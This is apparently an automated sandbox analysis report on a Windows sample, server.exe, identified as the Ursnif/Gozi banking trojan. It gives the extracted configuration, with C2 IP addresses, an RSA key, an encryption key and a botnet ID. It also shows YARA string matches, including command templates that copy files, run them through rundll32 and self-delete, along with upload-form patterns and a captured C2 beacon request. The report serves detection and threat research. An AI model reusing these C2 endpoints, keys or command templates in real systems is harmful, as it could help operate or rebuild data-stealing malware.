Edit tour

Windows Analysis Report
server.exe

Overview

General Information

Sample Name:	server.exe
Analysis ID:	826454
MD5:	17ebf60197356eb8f2996abc026907e6
SHA1:	38033b18d33436b5302ac50a3ba1c8114a23af81
SHA256:	c9f213f89ae4eb4e3ef4ec3cd71d3440adfdb9aee07841da844e4c176ff53869
Tags:	agenziaentrateexegoziisfbITAmefmiseursnif
Infos:

Detection

Ursnif

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Detected unpacking (changes PE section rights)

Malicious sample detected (through community Yara rule)

Detected unpacking (overwrites its own PE header)

Snort IDS alert for network traffic

Yara detected Ursnif

Found evasive API chain (may stop execution after checking system information)

Writes or reads registry keys via WMI

Writes registry values via WMI

Found API chain indicative of debugger detection

Machine Learning detection for sample

Uses 32bit PE files

Yara signature match

Antivirus or Machine Learning detection for unpacked file

Contains functionality to query locales information (e.g. system language)

Uses a known web browser user agent for HTTP communication

May sleep (evasive loops) to hinder dynamic analysis

Internet Provider seen in connection with other malware

Contains functionality to call native functions

Tries to resolve domain names, but no domain seems valid (expired dropper behavior)

Contains functionality to dynamically determine API calls

IP address seen in connection with other malware

Classification

Process Tree

System is w10x64

server.exe (PID: 5860 cmdline: C:\Users\user\Desktop\server.exe MD5: 17EBF60197356EB8F2996ABC026907E6)

cleanup

Malware Configuration

Threatname: Ursnif

{"RSA Public Key": "2cHitNE2khtX8MPowN3OuEF+nIJiRQvDS0CByWczHAmlx7InAyPYhqz4W4BdwOQhPXM+cNmTKZrjXkeaD1W/JReU+0QfnRaZLQzMkbf/6hntYeJLN9kVYaXwOSubcfndLd/IRF3zHco37HpGyfr/fx+pYcUFQUpDPSBwxpcqOgAGHU0ELflY4Wg7JTro/JzFnlTf/qZRLIK0F3z73FRQhjYYH8ldszb/+eADX8rn6ird+QrxU0NdIdel89Q7IsIw6+kcDa/Uh8s29ZPGfilEQcNwZsKPhbL1nQo8gRUU9nCXs8mGibasUhj7JSzvSDXMce/idAcO3inRDu0kAkFPSSWXYHucvOV7UqKvwvqosHo=", "c2_domain": ["checklist.skype.com", "62.173.142.51", "94.103.183.153", "193.233.175.111", "109.248.11.145", "31.41.44.106", "191.96.251.201"], "botnet": "7713", "server": "50", "serpent_key": "rqDYWFa4uPXuBFMj", "sleep_time": "1", "CONF_TIMEOUT": "20", "SetWaitableTimer_value": "0"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000003.488669827.0000000002CD8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000000.00000003.488669827.0000000002CD8000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Gozi_fd494041	unknown	unknown	0x1228:$a1: /C ping localhost -n %u && del "%s" 0xea8:$a2: /C "copy "%s" "%s" /y && "%s" "%s" 0xf00:$a3: /C "copy "%s" "%s" /y && rundll32 "%s",%S" 0xa9c:$a5: filename="%.4u.%lu" 0x63a:$a7: version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s 0x876:$a8: %08X-%04X-%04X-%04X-%08X%04X 0xbb7:$a8: %08X-%04X-%04X-%04X-%08X%04X 0xe6d:$a9: &whoami=%s 0xe56:$a10: %u.%u_%u_%u_x%u 0xd63:$a11: size=%u&hash=0x%08x 0xb1d:$a12: &uptime=%u 0x6fb:$a13: %systemroot%\system32\c_1252.nls 0x1298:$a14: IE10RunOnceLastShown_TIMESTAMP
00000000.00000003.488669827.0000000002CD8000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Gozi_261f5ac5	unknown	unknown	0xb54:$a1: soft=%u&version=%u&user=%08x%08x%08x%08x&server=%u&id=%u&crc=%x 0x63a:$a2: version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s 0xa68:$a3: Content-Disposition: form-data; name="upload_file"; filename="%.4u.%lu" 0xcf2:$a5: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT %u.%u%s) 0xd96:$a9: Software\AppDataLow\Software\Microsoft\ 0x1ce8:$a9: Software\AppDataLow\Software\Microsoft\
00000000.00000003.488967636.0000000002CD8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000000.00000003.488967636.0000000002CD8000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Gozi_fd494041	unknown	unknown	0x1228:$a1: /C ping localhost -n %u && del "%s" 0xea8:$a2: /C "copy "%s" "%s" /y && "%s" "%s" 0xf00:$a3: /C "copy "%s" "%s" /y && rundll32 "%s",%S" 0xa9c:$a5: filename="%.4u.%lu" 0x63a:$a7: version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s 0x876:$a8: %08X-%04X-%04X-%04X-%08X%04X 0xbb7:$a8: %08X-%04X-%04X-%04X-%08X%04X 0xe6d:$a9: &whoami=%s 0xe56:$a10: %u.%u_%u_%u_x%u 0xd63:$a11: size=%u&hash=0x%08x 0xb1d:$a12: &uptime=%u 0x6fb:$a13: %systemroot%\system32\c_1252.nls 0x1298:$a14: IE10RunOnceLastShown_TIMESTAMP
00000000.00000003.488967636.0000000002CD8000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Gozi_261f5ac5	unknown	unknown	0xb54:$a1: soft=%u&version=%u&user=%08x%08x%08x%08x&server=%u&id=%u&crc=%x 0x63a:$a2: version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s 0xa68:$a3: Content-Disposition: form-data; name="upload_file"; filename="%.4u.%lu" 0xcf2:$a5: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT %u.%u%s) 0xd96:$a9: Software\AppDataLow\Software\Microsoft\ 0x1ce8:$a9: Software\AppDataLow\Software\Microsoft\
00000000.00000003.488618816.0000000002CD8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000000.00000003.488618816.0000000002CD8000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Gozi_fd494041	unknown	unknown	0x1228:$a1: /C ping localhost -n %u && del "%s" 0xea8:$a2: /C "copy "%s" "%s" /y && "%s" "%s" 0xf00:$a3: /C "copy "%s" "%s" /y && rundll32 "%s",%S" 0xa9c:$a5: filename="%.4u.%lu" 0x63a:$a7: version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s 0x876:$a8: %08X-%04X-%04X-%04X-%08X%04X 0xbb7:$a8: %08X-%04X-%04X-%04X-%08X%04X 0xe6d:$a9: &whoami=%s 0xe56:$a10: %u.%u_%u_%u_x%u 0xd63:$a11: size=%u&hash=0x%08x 0xb1d:$a12: &uptime=%u 0x6fb:$a13: %systemroot%\system32\c_1252.nls 0x1298:$a14: IE10RunOnceLastShown_TIMESTAMP
00000000.00000003.488618816.0000000002CD8000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Gozi_261f5ac5	unknown	unknown	0xb54:$a1: soft=%u&version=%u&user=%08x%08x%08x%08x&server=%u&id=%u&crc=%x 0x63a:$a2: version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s 0xa68:$a3: Content-Disposition: form-data; name="upload_file"; filename="%.4u.%lu" 0xcf2:$a5: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT %u.%u%s) 0xd96:$a9: Software\AppDataLow\Software\Microsoft\ 0x1ce8:$a9: Software\AppDataLow\Software\Microsoft\
00000000.00000003.488704664.0000000002CD8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000000.00000003.488704664.0000000002CD8000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Gozi_fd494041	unknown	unknown	0x1228:$a1: /C ping localhost -n %u && del "%s" 0xea8:$a2: /C "copy "%s" "%s" /y && "%s" "%s" 0xf00:$a3: /C "copy "%s" "%s" /y && rundll32 "%s",%S" 0xa9c:$a5: filename="%.4u.%lu" 0x63a:$a7: version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s 0x876:$a8: %08X-%04X-%04X-%04X-%08X%04X 0xbb7:$a8: %08X-%04X-%04X-%04X-%08X%04X 0xe6d:$a9: &whoami=%s 0xe56:$a10: %u.%u_%u_%u_x%u 0xd63:$a11: size=%u&hash=0x%08x 0xb1d:$a12: &uptime=%u 0x6fb:$a13: %systemroot%\system32\c_1252.nls 0x1298:$a14: IE10RunOnceLastShown_TIMESTAMP
00000000.00000003.488704664.0000000002CD8000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Gozi_261f5ac5	unknown	unknown	0xb54:$a1: soft=%u&version=%u&user=%08x%08x%08x%08x&server=%u&id=%u&crc=%x 0x63a:$a2: version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s 0xa68:$a3: Content-Disposition: form-data; name="upload_file"; filename="%.4u.%lu" 0xcf2:$a5: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT %u.%u%s) 0xd96:$a9: Software\AppDataLow\Software\Microsoft\ 0x1ce8:$a9: Software\AppDataLow\Software\Microsoft\
00000000.00000003.488933342.0000000002CD8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000000.00000003.488933342.0000000002CD8000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Gozi_fd494041	unknown	unknown	0x1228:$a1: /C ping localhost -n %u && del "%s" 0xea8:$a2: /C "copy "%s" "%s" /y && "%s" "%s" 0xf00:$a3: /C "copy "%s" "%s" /y && rundll32 "%s",%S" 0xa9c:$a5: filename="%.4u.%lu" 0x63a:$a7: version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s 0x876:$a8: %08X-%04X-%04X-%04X-%08X%04X 0xbb7:$a8: %08X-%04X-%04X-%04X-%08X%04X 0xe6d:$a9: &whoami=%s 0xe56:$a10: %u.%u_%u_%u_x%u 0xd63:$a11: size=%u&hash=0x%08x 0xb1d:$a12: &uptime=%u 0x6fb:$a13: %systemroot%\system32\c_1252.nls 0x1298:$a14: IE10RunOnceLastShown_TIMESTAMP
00000000.00000003.488933342.0000000002CD8000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Gozi_261f5ac5	unknown	unknown	0xb54:$a1: soft=%u&version=%u&user=%08x%08x%08x%08x&server=%u&id=%u&crc=%x 0x63a:$a2: version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s 0xa68:$a3: Content-Disposition: form-data; name="upload_file"; filename="%.4u.%lu" 0xcf2:$a5: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT %u.%u%s) 0xd96:$a9: Software\AppDataLow\Software\Microsoft\ 0x1ce8:$a9: Software\AppDataLow\Software\Microsoft\
00000000.00000003.488781299.0000000002CD8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000000.00000003.488781299.0000000002CD8000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Gozi_fd494041	unknown	unknown	0x1228:$a1: /C ping localhost -n %u && del "%s" 0xea8:$a2: /C "copy "%s" "%s" /y && "%s" "%s" 0xf00:$a3: /C "copy "%s" "%s" /y && rundll32 "%s",%S" 0xa9c:$a5: filename="%.4u.%lu" 0x63a:$a7: version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s 0x876:$a8: %08X-%04X-%04X-%04X-%08X%04X 0xbb7:$a8: %08X-%04X-%04X-%04X-%08X%04X 0xe6d:$a9: &whoami=%s 0xe56:$a10: %u.%u_%u_%u_x%u 0xd63:$a11: size=%u&hash=0x%08x 0xb1d:$a12: &uptime=%u 0x6fb:$a13: %systemroot%\system32\c_1252.nls 0x1298:$a14: IE10RunOnceLastShown_TIMESTAMP
00000000.00000003.488781299.0000000002CD8000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Gozi_261f5ac5	unknown	unknown	0xb54:$a1: soft=%u&version=%u&user=%08x%08x%08x%08x&server=%u&id=%u&crc=%x 0x63a:$a2: version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s 0xa68:$a3: Content-Disposition: form-data; name="upload_file"; filename="%.4u.%lu" 0xcf2:$a5: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT %u.%u%s) 0xd96:$a9: Software\AppDataLow\Software\Microsoft\ 0x1ce8:$a9: Software\AppDataLow\Software\Microsoft\
00000000.00000002.573599370.0000000002CD8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000000.00000002.573599370.0000000002CD8000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Gozi_fd494041	unknown	unknown	0x1228:$a1: /C ping localhost -n %u && del "%s" 0xea8:$a2: /C "copy "%s" "%s" /y && "%s" "%s" 0xf00:$a3: /C "copy "%s" "%s" /y && rundll32 "%s",%S" 0xa9c:$a5: filename="%.4u.%lu" 0x63a:$a7: version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s 0x876:$a8: %08X-%04X-%04X-%04X-%08X%04X 0xbb7:$a8: %08X-%04X-%04X-%04X-%08X%04X 0xe6d:$a9: &whoami=%s 0xe56:$a10: %u.%u_%u_%u_x%u 0xd63:$a11: size=%u&hash=0x%08x 0xb1d:$a12: &uptime=%u 0x6fb:$a13: %systemroot%\system32\c_1252.nls 0x1298:$a14: IE10RunOnceLastShown_TIMESTAMP
00000000.00000002.573599370.0000000002CD8000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Gozi_261f5ac5	unknown	unknown	0xb54:$a1: soft=%u&version=%u&user=%08x%08x%08x%08x&server=%u&id=%u&crc=%x 0x63a:$a2: version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s 0xa68:$a3: Content-Disposition: form-data; name="upload_file"; filename="%.4u.%lu" 0xcf2:$a5: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT %u.%u%s) 0xd96:$a9: Software\AppDataLow\Software\Microsoft\ 0x1ce8:$a9: Software\AppDataLow\Software\Microsoft\
00000000.00000002.573168770.0000000000598000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x576f:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000003.488856476.0000000002CD8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000000.00000003.488856476.0000000002CD8000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Gozi_fd494041	unknown	unknown	0x1228:$a1: /C ping localhost -n %u && del "%s" 0xea8:$a2: /C "copy "%s" "%s" /y && "%s" "%s" 0xf00:$a3: /C "copy "%s" "%s" /y && rundll32 "%s",%S" 0xa9c:$a5: filename="%.4u.%lu" 0x63a:$a7: version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s 0x876:$a8: %08X-%04X-%04X-%04X-%08X%04X 0xbb7:$a8: %08X-%04X-%04X-%04X-%08X%04X 0xe6d:$a9: &whoami=%s 0xe56:$a10: %u.%u_%u_%u_x%u 0xd63:$a11: size=%u&hash=0x%08x 0xb1d:$a12: &uptime=%u 0x6fb:$a13: %systemroot%\system32\c_1252.nls 0x1298:$a14: IE10RunOnceLastShown_TIMESTAMP
00000000.00000003.488856476.0000000002CD8000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Gozi_261f5ac5	unknown	unknown	0xb54:$a1: soft=%u&version=%u&user=%08x%08x%08x%08x&server=%u&id=%u&crc=%x 0x63a:$a2: version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s 0xa68:$a3: Content-Disposition: form-data; name="upload_file"; filename="%.4u.%lu" 0xcf2:$a5: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT %u.%u%s) 0xd96:$a9: Software\AppDataLow\Software\Microsoft\ 0x1ce8:$a9: Software\AppDataLow\Software\Microsoft\
00000000.00000002.573111124.0000000000550000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000000.00000003.488896444.0000000002CD8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000000.00000003.488896444.0000000002CD8000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Gozi_fd494041	unknown	unknown	0x1228:$a1: /C ping localhost -n %u && del "%s" 0xea8:$a2: /C "copy "%s" "%s" /y && "%s" "%s" 0xf00:$a3: /C "copy "%s" "%s" /y && rundll32 "%s",%S" 0xa9c:$a5: filename="%.4u.%lu" 0x63a:$a7: version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s 0x876:$a8: %08X-%04X-%04X-%04X-%08X%04X 0xbb7:$a8: %08X-%04X-%04X-%04X-%08X%04X 0xe6d:$a9: &whoami=%s 0xe56:$a10: %u.%u_%u_%u_x%u 0xd63:$a11: size=%u&hash=0x%08x 0xb1d:$a12: &uptime=%u 0x6fb:$a13: %systemroot%\system32\c_1252.nls 0x1298:$a14: IE10RunOnceLastShown_TIMESTAMP
00000000.00000003.488896444.0000000002CD8000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Gozi_261f5ac5	unknown	unknown	0xb54:$a1: soft=%u&version=%u&user=%08x%08x%08x%08x&server=%u&id=%u&crc=%x 0x63a:$a2: version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s 0xa68:$a3: Content-Disposition: form-data; name="upload_file"; filename="%.4u.%lu" 0xcf2:$a5: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT %u.%u%s) 0xd96:$a9: Software\AppDataLow\Software\Microsoft\ 0x1ce8:$a9: Software\AppDataLow\Software\Microsoft\
Process Memory Space: server.exe PID: 5860	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
Process Memory Space: server.exe PID: 5860	Windows_Trojan_Gozi_fd494041	unknown	unknown	0x91a:$a5: filename="%.4u.%lu" 0xad0:$a5: filename="%.4u.%lu" 0xadd2:$a5: filename="%.4u.%lu" 0xaf88:$a5: filename="%.4u.%lu" 0x4cd:$a7: version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s 0xa985:$a7: version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s 0x641:$a8: %08X-%04X-%04X-%04X-%08X%04X 0xa1a:$a8: %08X-%04X-%04X-%04X-%08X%04X 0xbd2:$a8: %08X-%04X-%04X-%04X-%08X%04X 0x33d3:$a8: %08X-%04X-%04X-%04X-%08X%04X 0x34b4:$a8: %08X-%04X-%04X-%04X-%08X%04X 0x3718:$a8: %08X-%04X-%04X-%04X-%08X%04X 0x7ee5:$a8: %08X-%04X-%04X-%04X-%08X%04X 0x7fc6:$a8: %08X-%04X-%04X-%04X-%08X%04X 0x8168:$a8: %08X-%04X-%04X-%04X-%08X%04X 0xaaf9:$a8: %08X-%04X-%04X-%04X-%08X%04X 0xaed2:$a8: %08X-%04X-%04X-%04X-%08X%04X 0xb08a:$a8: %08X-%04X-%04X-%04X-%08X%04X 0xe32:$a9: &whoami=%s 0xb2ea:$a9: &whoami=%s 0xe1b:$a10: %u.%u_%u_%u_x%u
Process Memory Space: server.exe PID: 5860	Windows_Trojan_Gozi_261f5ac5	unknown	unknown	0x9c1:$a1: soft=%u&version=%u&user=%08x%08x%08x%08x&server=%u&id=%u&crc=%x 0xb79:$a1: soft=%u&version=%u&user=%08x%08x%08x%08x&server=%u&id=%u&crc=%x 0xae79:$a1: soft=%u&version=%u&user=%08x%08x%08x%08x&server=%u&id=%u&crc=%x 0xb031:$a1: soft=%u&version=%u&user=%08x%08x%08x%08x&server=%u&id=%u&crc=%x 0x4cd:$a2: version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s 0x52a:$a2: version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s 0xa985:$a2: version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s 0xa9e2:$a2: version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s 0x8e6:$a3: Content-Disposition: form-data; name="upload_file"; filename="%.4u.%lu" 0xa9c:$a3: Content-Disposition: form-data; name="upload_file"; filename="%.4u.%lu" 0xad9e:$a3: Content-Disposition: form-data; name="upload_file"; filename="%.4u.%lu" 0xaf54:$a3: Content-Disposition: form-data; name="upload_file"; filename="%.4u.%lu" 0xccc:$a5: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT %u.%u%s) 0xfa5:$a5: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT %u.%u%s) 0xb184:$a5: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT %u.%u%s) 0xb45d:$a5: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT %u.%u%s) 0xd6e:$a9: Software\AppDataLow\Software\Microsoft\ 0x1042:$a9: Software\AppDataLow\Software\Microsoft\ 0x1b9c:$a9: Software\AppDataLow\Software\Microsoft\ 0x1beb:$a9: Software\AppDataLow\Software\Microsoft\ 0xb226:$a9: Software\AppDataLow\Software\Microsoft\
Click to see the 27 entries

Snort Signatures

ET TROJAN Ursnif Variant CnC Beacon - URI Struct M2 (_2F) - Source IP: 192.168.2.5 - Destination IP: 62.173.142.51

Timestamp:	192.168.2.562.173.142.5149696802033204 03/14/23-19:01:00.007708
SID:	2033204
Source Port:	49696
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) - Source IP: 192.168.2.5 - Destination IP: 62.173.142.51

Timestamp:	192.168.2.562.173.142.5149696802033203 03/14/23-19:01:00.007708
SID:	2033203
Source Port:	49696
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: server.exe	ReversingLabs: Detection: 35%
Source: server.exe	Virustotal: Detection: 31%			Perma Link

Machine Learning detection for sample

Source: server.exe

Joe Sandbox ML: detected

Source: 0.2.server.exe.400000.0.unpack

Avira: Label: TR/Crypt.XPACK.Gen7

Source: 00000000.00000002.573111124.0000000000550000.00000040.00001000.00020000.00000000.sdmp

Malware Configuration Extractor: Ursnif {"RSA Public Key": "2cHitNE2khtX8MPowN3OuEF+nIJiRQvDS0CByWczHAmlx7InAyPYhqz4W4BdwOQhPXM+cNmTKZrjXkeaD1W/JReU+0QfnRaZLQzMkbf/6hntYeJLN9kVYaXwOSubcfndLd/IRF3zHco37HpGyfr/fx+pYcUFQUpDPSBwxpcqOgAGHU0ELflY4Wg7JTro/JzFnlTf/qZRLIK0F3z73FRQhjYYH8ldszb/+eADX8rn6ird+QrxU0NdIdel89Q7IsIw6+kcDa/Uh8s29ZPGfilEQcNwZsKPhbL1nQo8gRUU9nCXs8mGibasUhj7JSzvSDXMce/idAcO3inRDu0kAkFPSSWXYHucvOV7UqKvwvqosHo=", "c2_domain": ["checklist.skype.com", "62.173.142.51", "94.103.183.153", "193.233.175.111", "109.248.11.145", "31.41.44.106", "191.96.251.201"], "botnet": "7713", "server": "50", "serpent_key": "rqDYWFa4uPXuBFMj", "sleep_time": "1", "CONF_TIMEOUT": "20", "SetWaitableTimer_value": "0"}

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\server.exe

Unpacked PE file: 0.2.server.exe.400000.0.unpack

Source: server.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\server.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2033204 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M2 (_2F) 192.168.2.5:49696 -> 62.173.142.51:80
Source: Traffic	Snort IDS: 2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) 192.168.2.5:49696 -> 62.173.142.51:80

Source: global traffic

HTTP traffic detected: GET /drew/uzFqBPgZCIqO6jg1c5K/Xjd9gdsAubWMmY_2FDAd8e/U4Ap1PqTIR2WQ/a0CAd0nU/ThrgRPS1U5uEI3kIT3QYk4V/9d6bFT0hxT/5DxxrYQlR4IV_2Fei/ZJj6rXzL8HY8/xQEVwjD3Ur1/F3MhUjI5IvSaS_/2BdrMle6CgPaU6_2BOFFJ/FAcptoJYalDMhiD8/zK9g2iPFhAmXVAs/NjAIlnCY_2B_2FS4qz/z8NkwINX2/bN1cceH77_2BrxV4WYdI/F0hZV08Kh1Pm3jwzz9R/ILM_2FNGfAIX1b0GrBrRbH/64NI6.jlk HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 62.173.142.51Connection: Keep-AliveCache-Control: no-cache

Source: Joe Sandbox View

ASN Name: SPACENET-ASInternetServiceProviderRU SPACENET-ASInternetServiceProviderRU

Source: unknown

DNS traffic detected: query: checklist.skype.com replaycode: Name error (3)

Source: Joe Sandbox View

IP Address: 62.173.142.51 62.173.142.51

Source: unknown	TCP traffic detected without corresponding DNS query: 62.173.142.51
Source: unknown	TCP traffic detected without corresponding DNS query: 62.173.142.51
Source: unknown	TCP traffic detected without corresponding DNS query: 62.173.142.51

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report
server.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Ursnif

Yara Signatures

Memory Dumps

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report server.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Ursnif

Yara Signatures

Memory Dumps

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

Windows Analysis Report
server.exe